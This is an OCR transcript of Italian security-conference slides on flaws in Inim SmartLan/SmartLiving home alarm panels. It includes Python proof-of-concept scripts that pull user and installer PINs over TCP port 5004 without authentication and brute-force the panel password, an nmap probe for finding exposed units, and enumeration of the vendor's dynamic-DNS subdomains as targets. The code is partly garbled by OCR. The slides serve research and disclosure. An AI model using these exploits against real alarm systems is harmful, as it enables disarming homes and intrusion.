Home Alarm Insecurity

Breve avventura tra domotica e sicurezza
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Chi sono

* Marco ‘gandalf’ Gandolfi
* MSS @ Accenture Security
 Socio fondatore BITM

 MTB/snowboard vs. food/wine/beer lover
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Disclaimer

* Nessun sistema di allarme é stato
maltrattato per realizzare questa
«ricerca» (tranne quello di
Miocuggino)

* Don’t try this at your neighbors’
home




Year ri .
ca Security Issues Found Actions Taken
Hacked |System
Wireless t issi be . .
Ireless transmissions can Company promised to update their
T recorded by a third party and .
2015 Simplisafe . hardware to incorporate an
reuse data packets to disable the .
upgradeable firmware.
alarms.
Authentication can be bypassed . .
. . e Company promised to improve
. using SSL certificate validation, .
2017 iSmartAlarm . their firmware to protect the
authentication and access L
system from hacking incidents.
control.
. . .. |Company promised to come
Failure to encrypt communication ompany promisec to come up.
. . . . with plans to fix the vulnerabilities,
2014 Vivint signals which can be intercepted . .
. but did not address the encryption
by a SDR device. .
issues.
Failure to encrypt communication |ADT settled a $16 million class
2014 ADT signals which can be intercepted |action lawsuit to resolve hacking
by a SDR device. allegations.
. . .. _|Company was able to fix the serial
Failure to encrypt communication| . ™ " -
. . - switching problems and willing to
signals, lack serial authentication -
which allows a third party to view update their firmware to solve the
2018 Swann factory reset and PSKissues.

from your camera, and SSD and
PSK not removed despite of
factory resetting.

However, no specific solutions yet
were provided for the unencrypted
communication issues.
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Test di accesso
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Test di accesso

Codice utente
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Stato allarme

5.11 01050 casa
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Stato allarme
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Stato allarme E
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PIN errato
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PIN errato

5.11 01050 casa
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Impossibile recuperare i dati, verificare
la connessione o i parametri di centrale
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diff

Pass OK

00000152aa00faf7
06050403020102020202ffffe0000003ffffo0000004fff 00000005 fffOO000006T TS
000001532400322a
fffoooeo403ffffooo00404ffffoo000405ffffO0000406ffff00000407fff 00000408

0000004014000256

008181

000001810000a022
476961726e61202020202020202020204e6174746
0000002000001030
4444444444440000000000000000ff f 96

00000152aa00faf7

p6050403020102020202ffff00000003ffffo0000004ffffOR0000O5TfffOO000006f TS

DO00O153a400322a

ffffooooe403ffffo0000404ffff00000405ffff00000406ffff00000407ffff00000408

0000004014000256
008181

0000018100002022

4e6f747¢

44444444444400000000! OOOOOOOfffo'

Giorno
Notte

Pass errata
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PIN: 654321
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Pagina Iniziale

Vista di default

PIN installatore

Impostazioni Database Controllo Centrale

SmartLiving 10-50 5.11 - Marco \

Il Pin installatore inserito non é congruente con quello in centrale,
Reinserire correttamente il pin installatore nella sezione “Impianto” per
comunicare con la centrale,

Destinati

192.168.

L,

PIN installatore:
999999
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PoC #1

import socket
import time
import sys

s = None

def establish_conn():
try:

s = socket.socket(socket .AF INET, socket.S0CK STREAM)

s.connect((sys.argv[1],5004))
s.settimeout(6)
return{s)
except:
time.sleep(10)
establish conn()

if 5 is None:
s=establish_conn()

s.send({bytearray . fromhex( ' 000000 Ted20802d2'))
resp = s.recv(20)

s.send(bytearray. fromhex('0000004000000c4c'))
resp = s.recv(20)
print ('Versione:\t'+str(resp))

s.send({bytearray. fromhex('00000152a3a08faf7'))
resp = s.recv{256)

print ('PIN:\t' + ''.join(str(e) for e in resp[:6]1))

s.send({bytearray. fromhex (' 00000153d6000630"))
resp = s.recv(256)

povero@kali:/root/test_alienmobile$% python3 ping smartlan.py 192.168.1.2

Versione: b'5.11 @lese \xlb'
PIN: 654321
PIN installatore: 999999
b'Notte j!
b'Giorno W xae'
b'Disinserito -
b’ \Wxe0'
b'Giorno Notte
Area 6 Area 7 AREA

Mo

print ('PIN installatore:\t' + ''.join(str(e) for e in respl:61))

s.send(bytearray. fromhex (' 00000153a3400322a'))
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Vabbe...

Login Registrati

ELECTRONICS

Accesso remotocon D
Dinamico

DNS dinamico

Servizio DNS inimdns _biz

Dominio casadimiocuggino inimdns biz

oo o e cnp. o IR 3 . 4 N Nome utente
Accedi aitwoi dispositivi di sicurezza in massima liberta,
ovunque. . o

Scopri di piu I

Password

-«g;l:-rran'ert:‘ ogni

Sempre connesso

Crea una rete per tutti i tuoi dispositivi domestici e aziendali (router, webcam, impianti di
sicurezza), con poche semplici operazioni. Accedi ai tuoi dispositivi in maniera affidabile,

ovunque.

unt DONS




Subdomain enumeration

+

42 potenziali target

" https://github.com/TheRook/subbrute

555Ekﬂkﬂ—h—h—h—h—hﬁﬁﬁﬁﬁﬁﬁmmmmmmm_

" 1imdns .biz

i.inimdns.biz
.nimdns . biz
ns.biz
inimdns.biz
nimdns . biz
.nimdns.biz
.nimdns.biz
dns.biz
.nimdns . biz
inimdns.biz
ii.inimdns.biz
..inimdns.biz
nimdns . biz
..inimdns.biz
iimdns.biz
mdns.biz
dns.biz
..inimdns.biz
inimdns.biz
Ins.biz
A.inimdns.biz
i1.inimdns.biz
..inimdns.biz
iimdns .biz

Lni.inimdns.biz
f.inimdns.biz
1imdns.biz
Li.inimdns.biz
.inimdns.biz
3.inimdns.biz
ra.inimdns.biz
Lnimdns.biz
Li.inimdns.biz
L.inimdns.biz
.inimdns.biz
[la.inimdns.biz
11.inimdns.biz
10. inimdns . biz
Lo.inimdns.biz
xtti.inimdns.biz
imdns.biz
.inimdns.biz



PoC #2 - nmap probe

Probe TCP SmartLan g|\x00\x00\x00\x40\x00\x00\x0c\x4c|
rarity 5
ports 5004

match smartlan m|” (\d\.\d\d\s\d{5})\s\s|
home security system/ d/security-misc/ v/$1/ cpe:/h:Inim:SmartLan:$1/

p/Inim SmartLan G or SI/ i/Unauthenticated Inim SmartLan G or SI

root@kali:~# nmap -sV -p5064 192.168.1.2

Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-13 05:26 CET
Nmap scan report for computer.station (192.168.1.2)

Host is up (0.0026s latency).

PORT S5TATE SERVICE VERSION
5664/tcp open smartlan Inim SmartLan G or SI 5.11 01050 (Unauthenticated Inim SmartLan G or SI home security system)

MAC Address: 00:08:DC:15:57:AB (Wiznet)
Service Info: Device: security-misc; CPE: cpe:/h:Inim:SmartLan:5.11 01658

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds



PoC #3 -

inim INIM - SmartLan/SI - Vers. 2.10

Bruteforce

Version
Network Option
Password (TCP Server)
v Enable

Board list
Gfoo:08:0c Other Info
Panel verson

Card version

Protoc Info
TCP 275

Possibilita di configurare una password (8 caratteri)

Viene inviata all’inizio della connessione TCP

Se il primo payload non & la password la connessione viene chiusa (FIN-ACK)

:~/test_alienmobile# python3 bruteforce_smartlan.py 192.168.1.2
P4ssword b'5.11 610568 \x1b'

.. fwordlist. txt
Password:
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import socket

import time
import sys
s = None
def establish_conmi):
try:
5 = socket.socket(socket.AF _INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],5884))
s.settimeout(6)
returnis)
except Exception as e:
printie}
time.sLleep(10)
fl = open(sys.argvl[2], (|
for passw in fl:
passw = passw.rstripi)
while s is HNone:
s=establish_conn(}
try:
s.send{passw.encode())
#print (stris.recvi(l)))
s.send(bytearray. fromhex( B0BBBEL0BEB0EcAC" ) )
time.sleep(2)
resp = s.recv(28)
if resp !'=b'":
primt ('Password:%t' +passw + \t'+striresp))
break
except:
if 5 is not None:
s.closel)
time.sleep(2)
s=establish_conni)
fl.close()
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Mobile app - jadx

[com.inim.alienmobile_sour

com.inim.alienmaobile_sourc zonejava . ° SS L Senza pinning e Ve rifica dei
assets XMLParser.j

i e certificati

original WebSocketExampleClient.java

res WebClientDevWrapper.java
resources VideoVlcjava
VideoActivity.java

TokenGenerator.java

sources
android

com .
tension

lic X5
return _A iT

badge .
telecamerenew.java

google .

s telecamere.java

inim o

. . TelecameraViewCache.java

alienmobile ) ’

. telecamera.java

loopj N .

org &l TabsPagerAdapter.java

N Syste ue,j

vst2 ystemValue.java

SwipelistView java
StreamActivity.java
StartActivityFourjava
StartActivity.java e

SSLConnection.java

unknown

splashscreen.java
SocketS

SocketHandler java

SmsViewCache java

sms.java

SmartlivingNet java



* Possibili approfondimenti:
* Analisi APK
* «Criptazione proprietaria»
* Cloud

* Telecamere

 Conclusioni:

* Insecurity by design

Grazie

Domande?



